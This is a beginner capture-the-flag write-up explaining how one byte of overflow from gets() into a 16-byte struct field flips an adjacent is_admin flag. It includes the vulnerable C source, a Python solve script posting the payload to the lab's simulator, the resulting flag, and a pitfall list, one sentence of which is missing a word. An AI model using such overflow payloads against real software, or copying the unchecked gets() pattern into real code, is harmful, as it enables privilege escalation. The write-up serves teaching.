Overflowing Ooze one byte of overflow flips an admin flag

pwn
flag L3m0n{99729af6855230fcd26e57976327d406}

A 75-point introduction to adjacent-struct overflows. Source included, short enough to read in one go:

c
1struct {
2    char name[16];     /* your name tag */
3    int  is_admin;     /* right after it in memory */
4} badge;
5
6badge.is_admin = 0;
7gets(badge.name);      /* no length check */
8...
9if (badge.is_admin != 0) print_flag();

Insight

name and is_admin sit next to each other in the struct with no padding between them, so the 17th byte written into name spills straight into the low byte of is_admin. gets() has no length limit at all, so there's nothing stopping it.

The lesson runs this through a stack visualizer at /lab/pwn/ooze, whose Run button posts the raw input as JSON (with \xNN escapes supported) and reports the simulated is_admin value:

python
1import json, urllib.request
2
3body = json.dumps({"input": "A" * 16 + r"\x41"}).encode()
4req = urllib.request.Request(
5    "https://beginner.l3m0nctf.xyz/lab/pwn/ooze/run",
6    data=body, headers={"Content-Type": "application/json"})
7print(json.load(urllib.request.urlopen(req))["flag"])
output
L3m0n{99729af6855230fcd26e57976327d406}

Pitfall

Two length mistakes bite if you rush:

  • Exactly 16 bytes doesn't work. gets() always appends a trailing NUL, which lands right on is_admin's first byte and zeroes it back out. You need 17 bytes so the NUL goes somewhere harmless, one byte past where is_admin starts.
  • Going too far is worse, not better. From 25 bytes onward the overflow reaches the saved RBP and return address, and the simulator reports a instead of a flag. There's a narrow window, not an "overflow more to be safe" margin.